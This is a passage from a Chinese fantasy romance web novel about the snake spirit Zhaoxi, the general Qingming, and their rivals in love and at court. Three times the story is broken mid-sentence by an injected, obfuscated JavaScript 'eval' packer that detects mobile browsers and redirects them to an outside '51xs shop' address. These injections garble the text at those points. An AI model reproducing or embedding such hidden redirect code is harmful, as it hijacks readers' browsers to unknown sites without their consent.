清明走后,朝曦忽然想起了什么,从自己身上到床榻里外,再到整间屋子,全部翻了个遍,都没有发现小篱笆的身影,自它出壳,便与自己形影不离从不曾分开过,眼下突然失踪,担心之外更多的是疑惑。 亦棠暮闲之战,同虞贞之战,加上这次已经是第三回,这种操纵时间万物的法术,又不是烂大街的变幻术,岂是人人都会的?每次都在危急关头救下自己,说了解自己的行踪都不够,只有时常在自己的身边才能做到,她仔细想了想,将自己所认识的所有大神大仙大妖大魔都排除后,只有这个貌不惊人的黑团子小篱笆的可能性最大。 可这会儿它去哪了呢? 竹门吱呀一声,开了一道窄窄的缝隙,没有来人,半天都没有,朝曦以为是风,可窗棂帘子不见一丝拂动,疑心便起身去看,门里门外,什么都没有。 “这倒怪了。” 回到床榻坐了下来,感觉屁_股被什么硌到,伸手一摸,是一块巴掌大小的石头,朝曦捧起仔细看着,见它长的灰不溜秋,扁平粗糙,心里便将它认定为一块上不得台面的垫脚石,抬手就要扔向窗外,不过还没松手,便被一声稚嫩声音喝止。 “姐姐快住手!” 朝曦眨了眨眼睛,抽回了手,看着手中这块石头,一脸匪夷不可置信:“小篱笆?” “是我。”它的声音听得出有些不悦,换谁要被丢出去,都不会和颜悦色的。 “你你你,你怎么变成活化石了?” “……”石头有些无语,叹了口气反驳:“我是石化了,不是活化石。” “有什么区别吗?” “……” 显见得它不知该如何解释这个问题。朝曦知道自己又把问题问死了,自觉无奈的笑了笑,后又想起那个更加重要的疑问时,脸色不复嬉笑,立刻正经起来:“给我们挪到这儿,是不是你做的?” 石头沉默是金。 “为什么天底下会有这么多人总要走非暴力不合作这条路呢?” 朝曦掂了掂它,露出阴险的笑声,感知到了危险,小篱笆终于回答:“是我。” “真的是你?”乌云立刻消散,她如同换了张脸,兴致也越发浓厚:“那这几回都是你了?你这是什么高深法术?怎么这么厉害?能不能教教我?还有你到底是什么人啊?怎么就从个海胆变成了石头了?” “……” “怎么了?我问得很难回答吗?” 石头仍然不语,朝曦猜想,它怕不是不能说话了?连忙使劲摇了摇,甩了甩,折腾一阵儿石头仍然没有反应,而且渐渐变得冰凉,朝曦这才开始担忧起来:“喂,小篱笆,你醒醒啊?” “你不会死了吧……” “阿曦,你怎么了?”清明推门进来,看见她捧着一块石头出神着急,不禁感到奇怪。 她怔怔不语,一时接受不了这个陪伴自己许久的黑团子,失去了意识或者生命。 “阿曦?” “啊?哦,没有怎么,只是在想一些事情。” “伤口是不是很疼?都怪我,也没有办法去请医者来为你医治。” “医者?”她摇了摇头,脑中忽然想起一件事来:“你还记得,火阵里看到的那条紫色大蟒吗?” 清明点了点头,而朝曦却不知还如何启口,告诉他自己就是那条大蟒。犹豫间,清明抢她说道:“你这双眼睛生就不是凡物,自八岁那年我便牢牢记在心里了。” “所以?” “所以我虽然年轻,但不是没有脑子,你是谁我心中清楚,不必谁来多嘴。” “呃......”她将事实托出,不外是想让他吓退,可看他的淡然反应,完全不是自己想的那样。 “村里的人多数都走了,我之所以还在这里,是怕你回来找不到我。”清明搀她坐到竹榻上,自己则坐到对面的竹椅上,有片刻的沉默,想定后说道:“我等了你这么久,以为你不会来了,可当我看见你为了我不顾生死,我便知道自己没有白等。” “清明。” “不要顾虑,你是妖是仙,是人是鬼,于我而言都是一样的。人生数十载,有你瞬间抵万年,没有你不过一场虚度。” “……”苍白的脸上乍然漫上两团绯红,他知道自己是妖的事实已经让她感到惊讶,而明明晓得人妖殊途还无视这些,更让她不能理解。“你没听过,一些妖怪会吸食男子的阳气用以增强功力吗?” “有听过,所以你迟迟不动手是因为我还太年轻么?” “啊?” 见她认真,清明忍不住笑了出来,这是他露出的为数不多的笑容。“人间有很多美味,以后我会日日做给你吃,不会让你有想要去吃人的欲望。” “呃,这你误会了,虽然很多妖怪吃人不吐骨头,但我是不吃人的。还有,你说瞬间抵万年,是什么意思啊?” “意思是,我这一生想与你携手共渡。” “是什么意思?” 这份迟钝着实让人佩服,清明起身坐到她的身边,只好直言:“我是说,嫁给我怎么样?” “啊?” “啊什么?古往今来,又不是没有过人和妖成婚的。” “我从没有想过。”心中忽然砰砰起来,几句话竟有这样的功效,怪不得众生们个个对情之一字趋之若素。 “你现在可以开始想了,不过不用着急,你有十年的时间。” “十年?为什么?” “你是嫌长,还是嫌短呢?” 她支吾着不知该怎么回答。清明灿灿一笑后,走到窗子边,背手而立的看向远处,黑瘦的脸上纂刻出郑重与坚毅:“我不喜欢让你生活在这动荡恶劣的环境里,更不愿让你颠簸辛苦。” “所以呢?” “与其为人鱼肉,不如我为刀俎,当局之乱非我所能阻止,但至少拼搏一番,可以保护身边人。” 文绉绉的一套说辞让她再次感触,有文化会显得一个人多么有水平,想了半天她才明白过来:“原来造反也可以说的如此文雅。” “......” 叛军来临时,清明急速组织了以他师傅为首的村中二三十男子,利用山势地形与之对抗,在几轮交锋后,出去死伤,除去逃兵,再除去伙夫,仅余九人,不过便是这样,清明仍不放弃,在制定了一套又一套的战术并亲身试验后,最终拍定其中之一,虽不能说稳操胜券,但至少大家都非常有信心。 不出所料,在第一次小胜之后,这支小队伍一鼓作气,直接潜进了主帅军师和几个先锋的营帐,割下他们的头颅枭首示众,叛军兵士们倒很识时务的归顺,清明深知他们并非真心,加上队伍需要彻底整顿一番,便决定在村中继续驻扎,休养生息,一切都很顺利,除了般颉像个活泥鳅一样,跑了。 同村的九人都很费解,这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13268361|135497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个在他们眼皮子底下长起来的孩子,虽受过那莽夫何志强教过一些粗苯的招式,可并没得过什么才学,更没有什么特殊际遇,那么他脑袋里这些兵法战术是打哪儿来的?几人分析不下,最后只能以天选之人概之以论。 队伍休整好后,朝曦的伤也已经好了一些,到村中走走,看到在清明的治理下又恢复一派安宁的卧龙村,感到欣慰,心说能力与秉性这个东西真的是刻在骨头里的,连下凡转世都不会改变,这一点从南溟和潦清的身上格外体现。 “将军,外面有个女子声称是您的未婚妻子,要见您。”一个士兵跑过来禀报说。 未婚妻子?说曹操曹操到,朝曦仰头看着清明,眨眼代替语言。 清明领会到了这份质疑,也猜到了是谁,无奈一哼:“这婚约早就不作数了,她是我哪门子未婚妻?遣她走吧。” “是。” 士兵尚未转身,那个女子便一阵风似的蹿了进来,她无视旁人直接冲到了清明身前,双手紧紧环住他,痛哭流涕的诉说衷情:“清明,我原以为你死在这些叛军手里了,谢天谢地,你没有死!” “你知道么?我差一点就上吊殉情了,幸好别人告诉了我这个消息,否则我们已经阴阳相隔了。清明,我们再也不要分开了好不好?” 清明用力去挣开她,可耐不过她扣的实在紧,就像一块膏药一样,粘着不放。 “王水清,你放开。” “不,我不放,上次是我爹娘逼迫我放弃你,这次我说什么也不放!” 清明为难的看了看朝曦,而眼观这场要死要活的戏码,朝曦双手揣着袖兜不痛不痒的说了句:“王姑娘,差不多得了。” 她好像没有听见,继续专心致志的哭着。朝曦听着越发烦躁,直接给她拆穿:“就算你不是真心实意,真哭个半盆珠子出来,也算你为我军资助了,谁叫你自带了个滴泪成珠的能力?不过你这连个米珠都不见,可是当大家瞎了?” 哭声戛然而止。 清明投来佩服的眼神,而朝曦却不想理会,因为这个鲛人总是没完没了的,她转身向房中走去,只留他自己解决这朵难缠的桃花。 一声吱呀,将所有喧嚣隔绝在屋外。 独自坐着,静静看着竹桌上的石头,心思飘忽,凡界果然是个通情达理,快速成长的好地方,今次来凡一场,心中对那句‘深深喜欢着你’产生了迷恋,对那个绵柔热烈的吻难以忘却,可意识的另一边却无时无刻不再提醒着他们之间的鸿沟,提醒自己仙妖纠缠产生的后果,她不忍坏了他的修为,不愿让他因自己失去原本的一切。 在南海的好日子再也没有了,知道再不能长久的待在他身边,所以迫使心中对这段关系看开一些,只是她不舍,这些年来自已习惯有他的日子,习惯着他的冷暖,依赖着他的护佑,虽然明知道不可为,但还是贪心的去想,多留一刻是一刻,就在凡界这些年,回去之后便各自安好,相忘于世间。 行军路上,队伍发现河边躺着个奄奄一息的女孩儿,队伍将她救下后,见她无家要归便将其收进队伍,当了一个医女,女孩儿生得美丽恬静,又很会关心照顾人,军士们都很喜欢她,便将她引荐到了清明面前,朝曦清楚这些人的心思,并不太在意,只是当她看到那女孩儿的元神后便再难以自若,凝歌,那张脸甫一出现,便会提醒她庚酉的死,提醒她虞贞的狠毒,更提醒她与南溟之间间接的仇恨。 70. 为老不尊 一连几天,朝曦都是一副心事重重的样子,她沉默寡言,脸上不见笑意,无论是谁是去关切,都不能令她眉头舒展半分,她从没有这么不开心过。清明有些苦恼,他所认识的女孩不多,根本无从猜测她的想法,无奈之下便只好询问王水清,她倒是很懂得借刀杀人,一句阿姑不喜欢春凝,便叫清明下令遣她出去。 春凝去清明那儿求了好久,但见这将军没有丁点儿松口的意思,便只好收拾离开,王水清得意自己的手段,朝曦却意外的走进了营帐,她的脸色上写着不快,可话语却与之相背:“留下吧,好不容易下来一次。” 没人听得懂那句话的意思,得到了准许留下的春凝一改颓丧,高兴的连连谢恩,王水清则一张脸昏沉的像暗夜里的蝙蝠。 “不过,你可别后悔。” “自然不会,春凝必当全心全力侍奉将军和姑娘,救治伤患。” “姑娘?”王水清更正道:“不,这可是咱们将军的阿姑,你可别错了礼数。” “阿姑?” “可不是?连我这个未过门的将军夫人都要正正经经唤她老人家一声阿姑呢,何况是你?” 春凝听了,敬重的态度悄悄发生改变,本以为清明待朝曦那样贴心细致,确然是夫妻来着,原来竟不是看到的那样。“春凝不识姑夫人,失礼了。” 姑夫人?她满不在乎的笑了笑,留她下来不过是想替死去的庚酉出口气,难道会因为一个称呼堵心?“王水清,既然你自视为清明夫人,就该懂得为夫君子嗣着想,我看这春凝姑娘很是不错,不如将她收进帐子,与你做个姐妹。” “怎,怎么可仓促决定,这还要问一问将军。” “不需要。”朝曦态度强硬:“若问一问将军,你俩都得卷包儿滚蛋。” 她如今很清楚,所有人都很清楚,南溟是要匹配飞羽公主的,不管是潦清还是凝歌,惦记南溟就是触了虞贞的逆鳞,打了飞羽的脸面,返回仙界,二人是要被折腾一翻的,她杀不了凝歌,但绝不让她舒服的活着。 “......” 反正旧怨已经不可化解了,又何惧于再添些新仇呢?朝曦渐渐发觉自己,再也不像过去那样宽容大度难得糊涂,现在的自己,斤斤计较,睚眦必报,总之再也不是一条善良纯粹的蛇了。 “朝曦。” 沉沉暮色里,清明皱着眉走来,一身的疲惫被不快的情绪裹挟,她自然猜到是为的什么,所以不等他问,便先开口解释。“咱们队伍日渐强大,不须几年便能在这大地上拥有一片国土,你身为首领,怎么可孑然一身无人照顾呢?我觉得这个春凝姑娘很是不错,便替你作主,收下了。” “什么春凝夏凝,水清水浑的,在我这里很是碍眼,我身边只要你就够了。” “三妻四妾本是常态,再说你我本质有别,并不好真的在一处。” 他默默不语,双手温柔的捧起她的脸送到嘴边,干裂感袭上那两片水润,像一壶烈酒渐渐浓郁,渐渐上头,热烈的交织纠缠着。起初拒绝,但推拒失败,她实在没有这种定力。 “这样不太好。” “你知道王富贵的老婆一辈子都不许他纳妾。” 心头一阵砰砰,她重重的点了点头:“此妇人言行彪悍善妒,实不可取。” 有人叹了口气:“我很羡慕王富贵。” “羡慕?”她不理解的眨了眨眼:“举凡是个男子,便没有想娶那样一个妇人为妻的,你知道,王富贵一辈子生活在水深火热之中,是极不容易的。” “你怎知,这不是王富贵自愿的?” “我不太明白你想表达什么,不过我可以肯定,以后你娶了王水清,日子也不会太平的,毕竟血脉相承很是强大,这也间接达到了你想水深火热的美好愿望。” 清明重重的呼出一口气:“看来我跟你说的话,你全都当做耳旁风了。” “什么?” 看来在情之一事上,她是没有开窍的,他释怀般的笑了笑:“我知道你在顾忌什么,没关系,我可以一直等下去,十年,二十年,五十年,一辈子,我都可以。” 她也摇了摇头:“你不知道。” 自己虽恨他母亲虞贞,但绝不会因为一己私欲毁了他,这样看来,还是让潦清和凝歌两个再努努力吧。 王水清很懂笼络人心,几年下来,清明虽未给予名分,军中上下却视她为正宫,春凝略逊于她,可因为为人机巧圆滑,也得到了一些权臣的支持,反看朝曦,在自己有意为之的懒散懈怠上,外加王水清苦心宣扬的姑侄名分上,彻底被大家反对。 众人对清明与朝曦来往亲近颇有异议,不过因为尚在征战时期,并没有将此提到台面上,当建国计划提上日程时,这反对声犹如开闸泄洪一般,再也止不住,曾经数年里以各种方法堵过这悠悠众口,最终无计可施便以装死作为回应,发现也是种不是办法的办法,而现在,戏台已成大局已定,他再也没有逃避的理由。 清明很头疼, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13296422|135497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 其实只要朝曦亲自出来澄清二人并非姑侄关系,倒也可化解,只是他不知道她为什么不愿意,自己明明多次告诉过她,身份并不能够构成阻碍。很多个夜里,清明不得不暗暗怀疑,一直以来,都是自己一厢情愿。想到这个,才中了敌军一箭的他,又郁郁寡欢的喝起酒来。 营帐张着灯,外面可以看的到投射出的身影,他喝着酒,面前已经堆叠了许多酒壶,而医者已经被赶出了帐子,站在外面忧心不已。 一个娇俏身影轻轻靠近,看着如此情景,眉头紧蹙:“将军这样,怎么也不劝劝?” 医者同侍卫互视一眼,摇了摇头:“没用,好赖话都说破天了,将军倒是听呢?” “那便任由他这样作践自己么?” “姑娘若是有办法,不如去劝一劝,若能为将军解怀便是……”侍卫未再说,因为整个军中都知道,这二人虽相貌上乘,却始终不是将军的解忧草。 而她,也不知哪来的勇气,伸手掀开了帐帘,轻轻走了进去,她看着醉的一塌糊涂的清明,这些年什么法子都试过,断是不得他一丝青眼,真心不敢奢望,哪怕只是片刻的欢愉呢?她苦苦一笑,好在王水清的处境并不比自己好到哪去。 “将军。”这是与他距离最近的一次,也是迄今为止,唯一碰到他的一次,因为这样,不觉有些紧张。 一身酒气,半阖着眼的清明尚未睡去,但不知是否意识清醒。 “将军,新伤忌酒,身子为上,莫再饮了。” 由她扶去了行军榻前,左摇右晃,她的力气并不足以搀的平稳,没走几步二人便倒在了榻边,纤瘦的她被固在身下,不得动弹。僵持了一会儿,春凝的脸颊像她的名字一样,春色凝聚的泛起了一片绯红,她粗喘着气息,窃喜并激动的期待了许久的这一刻。 清明脸色同样红润,分不清是何种原因。他直视着面前的女子,任凭帐外传来脚步声,也不理会,直将她牢牢按住,伏身贴了下去。 一缕细碎寒风闯入,耳鬓厮磨了一阵儿,他方不急不慌不慌抬起头来,言辞淡漠道:“已是深夜,怎么有空过来?” 朝曦捧着药,嘴角僵硬的笑了笑:“送药来的,不想扰了你们的好事。” “无妨,只是勉强挤出来的笑容实在难看。” 春凝羞怯道:“姑姑见笑了,还请姑姑先回吧,春凝改日去您那儿赔礼。” 呵,这对男女,这通嘲讽。 “倒是我……为老不尊,失了礼数了。” 71. 万劫不复 朝曦没有回帐子,溜达着走到了一处山坳,缩在一棵歪脖子树前看星星,霜冬腊月里寒冷刺骨,对于蛇来说这正是冬眠的时候,故而自入冬以来,总是犯困,怎么提神醒脑都没有用,今日这一桩见闻,倒是很有效的根治了这份嗜睡,然而过了头导致其成为了失眠,让她感到苦恼。 下界只为护他此世安稳,如今大局就快稳定,从此便可顺遂很多,这本是好事,但想到牢牢贴在一起的两人,心里一时像被放置了一块石头,沉甸甸的,一时又像一块被拧干了的布一样,拧紧了不舒服,松开时还是会不舒服,是怎么都不舒服。 上空飘下粒粒白色,晶莹,灵透,在这暗夜里就像是一只又一只的精灵,自由快活的飞舞着,没有方向,没有心思,没有烦恼,只要它开心,愿意落在哪一枝头都可以,或者它不开心,干脆随着风逍遥远去。 也想随风逍遥远去,飘到哪儿,就落在那儿。她伸手出去,捧住了其中一粒雪花,放到眼前细细观看,什么也看不到,但耳边却好似听到一句什么诗:皑如山上雪,皎若云间月,闻君有两意,故来相决绝。 故来相决绝。她还是好奇,暮闲和他妻子,到底是因为什么相决绝的呢?自己同南溟,会不会也在某天相决绝? 月落到日升,黑夜到白昼,有时候一夜很快,转瞬即逝,有时候又很慢,度秒如年。她在山阴夜雪中入睡,在银光耀眼中醒来,蜷缩在树下,身子已经被冻的僵硬,整个人完全动弹不得,她很佩服自己身处这种恶劣环境还能熟睡,想到谁曾说过,能吃能睡也是一种本事,便觉得不能再认同。 慢慢活动手脚,若是一不小心折断了哪个,就不太好了。 所在山坳背阴,自己修习的又是水系法术,这种情况下想变幻出一朵火来,取暖融化,完全是一种奢望,正暗叹着自己太容易就走到一条死胡同里,身后蓦然浮现了一缕熟悉的气味,她小心转过脖子,看见了那张让她踏实的面孔。 “宝芝,你这是从哪冒出来的?” 蘑菇肉眼可见的消瘦了不少,不过那面庞上俏丽灿烂的笑容,更将她显衬的娇憨可爱,等宝芝施术与她融了些冰霜,方感觉手脚有了些知觉。 “我找了你许久,近日才追到这里。” “我也去了酒楼找你,本想赎你出来,没成想你先我一步遇到了贵人,宝芝,到底是谁救你出来的?还有,你这法术进阶了不少,又是怎么回事?” 她盈盈一笑,跟之前似乎有些不同,可具体是哪里不同,又说不上来。 “我也,遇到了像南溟殿下一样好的人。” 一样好的人?这脸颊倏然晕出的桃红,和娇嗔的神情,实难让她不去想起王水清在清明面前的模样,就在昨夜,春凝还十分生动的给她演了一幅活春宫,想到那如出一辙的娇羞,朝曦猛然察觉,宝芝这幅样子,一定是红鸾星动了。 宝芝是乌榆林里最最天真纯粹的,虽然自己当初也是这样,但经历过许多风雨后已经变得十分抗摔耐打,心智也不同过去那般纯净软弱,她想,如果可以选择,她并不想被迫长大,还是很希望过着从前那种简单快活的日子。 就要经历磨难的人,会有一个共通性,那便是初时的欢喜,这就像赌徒们一开始总会尝到一些甜头一样。她语重心长道:“宝芝,不要被一些短暂的快乐迷惑了双眼,你现在感受到的,不一定就是真实的,也不会是永恒的。” 蘑菇不理解,结合实际的反问:“怎么就轻易否定别人呢?难道,南溟殿下对你的好都是假的么?” “你现在都会举一反三了。” “朝曦,我知道你想表达什么。”一贯无忧的脸上渐渐爬上一星沉郁:“我听人说,如果对一个人情根深种,便想时时刻刻都看见他,如若不是,那便不是真的喜欢,你……难道没有永远和南溟殿下在一起的想法吗?” 想到昨夜那个画面,她恨恨的咬了咬牙:“不想,没有。” “那咱们一起回乌榆林吧。” “现在还不行。”拒绝干脆。 “为什么?殿下如今已是将军,大杀四方战功赫赫,还需要你做什么?” 如今般颉不知猫在哪儿,他是不会放过任何一个可以构陷南溟的机会。想着清明三十岁还有一大劫,便不能放心的撤退。 “今时不同往日,老钱家那种穷困潦倒早已不复存在了,殿下即将成为一国之君,接下来等待咱们的都是好日子,吃尽天下美味,览尽天下好景,你不想好好感受一下这种快活吗?” “……” 宝芝抿着嘴,犹豫间朝曦已经拍板替她做了决定。 “我留下来并不是为了吃点什么,我是觉得你自己在这儿很孤单。” 朝曦认同的点了点头:“我们宝芝是最最仗义的。” “那,走吧。” “我的腿,已经冻的麻木了……” “唉,我来背你吧。” “路程不近,我虽不重,可你一路背着我是吃不消的。” “我会飞了。” 宝芝神色得意着,朝曦原本不信,但当她背起自己平稳的飞起后,这才觉得,宝芝好像不是原来那个宝芝了。 很快到了军营,二人一瘸一拐的进来,看见营中军士减了有小半人数感到奇怪,最近已经没仗可打了,少这么多兵是怎么回事? “姑姑?哎呀,您总算回来了。”一个大头兵认出了她,迎上前来喜笑颜开道。 “怎么少了这么多人?” “姑姑您可不知道,昨夜您离家出走以后,将军急坏了,本想出动所有兵力去寻您,是各位大人好说歹说,这才只出动了半数。这会儿,大家正四处寻您呢。” “你离家出走了?”宝芝问。 “只是一夜,怎么能算离家出走呢?是清明太小题大做了。” “姑姑,先回帐子歇息吧,将军马上就回来。”说着,他便从袖兜取出支烟花,朝上空连放三响。 上空绽出三朵明灿花朵,不知道为什么,她忽然感到很心虚,明明做错的不是自己啊。“我是有些疲惫,很有可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13306665|135497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能要静休几日,你禀告将军,让他也歇歇吧。” “是不让将军去看您吗?” “看透别说透,还是好朋友。” 大头兵是很聪明,只是清明不是他可以支配的。 同宝芝吃吃喝喝酒足饭饱后,卸了钗环装束,正要钻进那温暖的被子里,感觉背后嗖嗖一凉,转过脑袋,迎上清明那张喜忧参半的脸,她眨了眨眼,不知该说些什么。 他缓缓靠近,想要去握她的手,但伸手一半便又撤了回去。“不开心可以发发脾气,但不要失踪。” “我没有不开心,我只是出去散个步,对,散个步。”说着,便心虚的向后退了退。 “怪我,我不该这样试探你,我只是担心你随时会走。” “试探?” “进来。” 不等她反应,春凝便从帐外进来,一张桃花面泫然欲泣楚楚可怜,对着她扑通跪倒:“昨夜是春凝僭越了,做出如此不知分寸的事,还请姑娘别放在心上,原谅春凝吧。” 朝曦苦笑,清明见她还在含糊其辞,便主动解释:“昨夜真的什么都没有发生。”事实上,他虽醉酒意识却还很清醒,朝曦离开的那一刻,他便将春凝遣了出去。 “不打紧,男女欢好这是多么正常不过的事情,再说春天就要到了,动物们也是蠢蠢欲动,何况正值壮年的你们?我朝曦不能干这种扼制人性的事。” “……” 宝芝用力的捂着嘴,努力不让自己笑出声来。 “那姑娘是原谅我了吗?” 原谅?她思了思,道:“春凝姑娘,你昨夜的行为虽说是想让将军开心,但你将王水清放在哪里?这样,你先去求王水清的谅解吧,她若不放在心上,我自然也没什么可说的。” “这……” 春凝脸色为难,显然这王水清是不能容忍此事的,少不了给她些零碎折磨。 “夫人吩咐了你,便去做吧,只是一样,你二人都要认清自己的位置,如有半点不良心思,休怪我无情。” “是,将军。”她战战兢兢的退出帐子,对那声“夫人’宝芝不解看了看她:“你们成亲了?” 朝曦摇头否认,没想到立刻被清明制止:“就快了。” …… 她傻傻的立在那儿,清明的脸上终于浮现了欢喜,一种就要夙愿得偿的欢喜。他说害怕她随时离开,所以才想用最蠢笨的法子,成亲,来留住她。朝曦不似过去那般呆木愚笨,自下界以来,她开了许多窍,通懂了诸多人性,以是她明白清明的这种想法左不过是太在乎的缘故,说到底,能被这样在乎着,她也是很欢喜的。 纵然她已认清自己的心,也想同他厮守,可相比于他的清修和清誉,儿女情长又算得了什么?这个现实就横在他们之间。 “我是妖,若我嫁了你必会引起天怒,你忍心看着我万劫不复?” “......”他沉寂下来,察觉到希望的光晕在他眼中慢慢流逝,朝曦觉得自己有些残忍,可那又怎么办呢? 72. 第 72 章 问世间情为何物,直教大家生死相许。不知道是谁说的,可真的很有道理。近日的经历让宝芝有着切身体会,所以很是替朝曦感动,劝解她接纳这份真情,方是没白来这一遭,朝曦只当又一阵耳旁风吹过。 大局已定,清明将本国定都南洲部雪城,确立国号为小星国,与当年下凡前所说无二,与老钱遗言也能匹配,当下,朝臣便对他立后一事做出了干涉,小星国不改多年习惯分了三拨势力,一波支持王水清,一波拥护春凝,一波坚持朝曦,当然,最后这一拨从始至终只有清明一个人。因为清明执意以朝曦为妻,不容商榷,这个王朝便在将将立国之初,出现了严重的分歧,臣子们不满他的专权,权欲熏心下试图将他拉下王位。 多年的征战杀伐早已使清明心肠冰冷,除了对朝曦保持着毕生的热情以外,其余人的生死对他来说根本不屑一顾。是以君王枕畔不容他人酣睡,他决意坚持自己的想法,连自小教授他武学的师傅都被无情驳斥,他毫不犹豫的处置了这拨公然挑衅自己的人,须知,这些人里有一半可是跟着他从卧龙山出来的开国功臣,这一决断不仅大大凉了众人的心,还令他杀戮倍增,频添罪孽。 朝曦意识到不妥便决定做点什么,趁清明不在时,仿照他的笔迹拟了一道手谕,她捧着这张锦,长吁短叹,宝芝正巧端着一碗汤进来,看到这她副样子,实在替她这一趟感到苦闷。 “你这写的是什么?” “随手写写。”她将锦书折好递给了宝芝:“你悄悄的从王水清宫外走过,装作无意的将这锦书丢在那儿。” 蘑菇更是一头雾水,不知她这又是什么盘算,可苦于目不识丁,翻看了几遍也没看出个什么来,便只能听从她的吩咐,好好将锦书送过去。 她才要走,一道墨绿凭空出现,正正与她撞在一起,二人剧烈的撞击后各自弹开,宝芝被撞到了头,捂着脑袋哇哇直叫,而那唐突来客捂着鼻子,也是双眼沁着泪水。 朝曦赶忙从座上起身,跑了过去,搀起宝芝,也扶起暮闲。 “你这是打哪儿来啊?做什么这样急匆匆的,你以前可从没这样失态过。” “落地时走了个神而已。” 面具下那张脸神色暗淡,不复往日那般傲骨英风,闻听朝曦关切,他只附以一抹飘忽浅笑,若是不留神,根本看不到。想来那件事他还是没有想通,所以才这样萎靡,要是搁在之前,他必少不了贫嘴一番。 多年不见,他不止话少了,人也消瘦了不少。 暮闲上下打量着她,看见这一身华贵璀璨,脸色瞬间沉郁下来,语调也变得甚不和气:“他当了王,你做了她的王后?” “并没有。”朝曦分了个神看了看宝芝,吩咐她去办要办的事,而蘑菇在疼痛缓解之后,可能是被暮闲这不凡的外表所惊,便会神的看了他好一会儿,意识到朝曦提醒,才慌忙去了。 “跟我回去吧。” 他的眉心凝的极深,好像藏了无尽的烦恼,解不开化不了。 “往事已矣,既然忘了便是天意,莫要再为此困扰。” “一个人没有记忆,怎能算是完整的呢?难道曦儿你没有想过自己从何而来么?” “我并不很好奇自己从何而来,倒是你们少主的下落,很让我挂心。” “……” 她礼让他坐下,缓缓斟了杯茶端与他,自己便落座在他的旁边,这一套动作娴熟自然,得体大方,与之前那个毛毛躁躁,不谙世事的少女判若两人,若在常人眼中,变得稳重娴静是一件很不错的事,可是暮闲并不喜欢。 “你不想去看看孩子吗?” “孩子?” 这一刻,暮闲的脸上才绽出一丝丝暖意来。“他们生的很漂亮,也很乖巧懂事,不会惹事让你生气的。” 耳中滤着这份小心翼翼,心中却难抑害怕,她不愿自己与遗孤产生一丝关系,于是便告诉自己这是暮闲还没有放弃让自己成为这两个孩子继母的想法。 “这些年是你一个人照养他们么?一个男子又要工作又要养育娃娃,是很不容易的。” 他摇了摇头:“我倒希望辛苦一些,在我的照顾下他们能一日一日的长大,可是……” “可是什么?” “你还没有回答我的问题。” “你是说隐世么?” 他起身走到她的面前,默默握起她的一双手,神色郑重:“是。” 声情皆默,思虑盘算,她与他对视了一会儿才说:“可以,不过要等殿下回去以后。” 这是一个几家欢喜家愁的回答,清明推门闯入,整个人仿佛被怒火环绕,来势汹汹的走到她的面前,看起来这墙角听了个完整的。他肃声质问道:“你不肯嫁给我,就是因为他?殿下?他是不是就是你口中心里念着的殿下,日日不可忘怀的殿下?” “清明,你在说什么?” “我在说什么?”他的眼中倏的窜出一团火,不可压制。 朝曦见状,知道事态不好便慌张解释:“清明,你误会了。” “误会?”暮闲竟伺机紧紧揽住她,力气大到不容挣脱,他的脸上闪过一丝狡黠,像是示威,又像故意在激怒清明。“眼见为实,还要自欺欺人吗。” 盛怒之下,清明拨出腰间佩剑凌厉的指向他:“这么多年,朝曦始终在我身边,所以自欺欺人的应该是你吧。” “既然这样,那她为何不松口嫁你?” 两人你言我一语,似乎比着谁的语言更具有杀伤力,怎么能让对方感到心肝不适,就这个问题扯皮不断。朝曦很无奈,真的想说要不然痛快的打架吧,可想到身为凡人,清明怎能打得过暮闲呢?想着便将话吞回了肚子里。 二人争执不下,矛头最终指向了朝曦,她早就知道,自己的太平日子不多了,只是未料到今日的这种尴尬局面。 “朝曦,我今日再问你遍,你可愿嫁给我?你不必顾虑身份问题,更不用在意旁人的议论,你若愿意,江山权位我一概可以舍弃,就算是天谴我也不怕。” “曦儿,你是明白异族相恋的下场的,只有同我在一起,你的一生才会安宁顺遂。” 清明的眼中一紧,他敏锐聪明,怎么会听不出暮闲的话意,他提醒清明,同时也是在提醒朝曦,二人再有意,注定不是段良缘,更不会有一个美好结局。 她当然明白,只是身处清明的情意中不舍离开,为免祸及来日,她索性将心一横,直接现出原形:“同族尚不能保证一生不渝,异类如何能长久?” 宫殿高阔,那绛紫银纹大蟒现身其中却并不宽敞,其至有些拥挤。她高高的立在二人面前,形容不怒自威,清明仰面看着怔怔不语。 宝芝正巧回来,打破这凝止的局面:“朝曦,你这是做什么?” 她恢复人身,神情淡漠的走近清明,咽喉哽咽:“你看,你嘴上说不在乎,但心里还是不适的吧?” “你知道我根本不是那个意思,我只是很失落,你宁愿变回本身也不愿同我在一起。也罢,终是我自作多情了。” 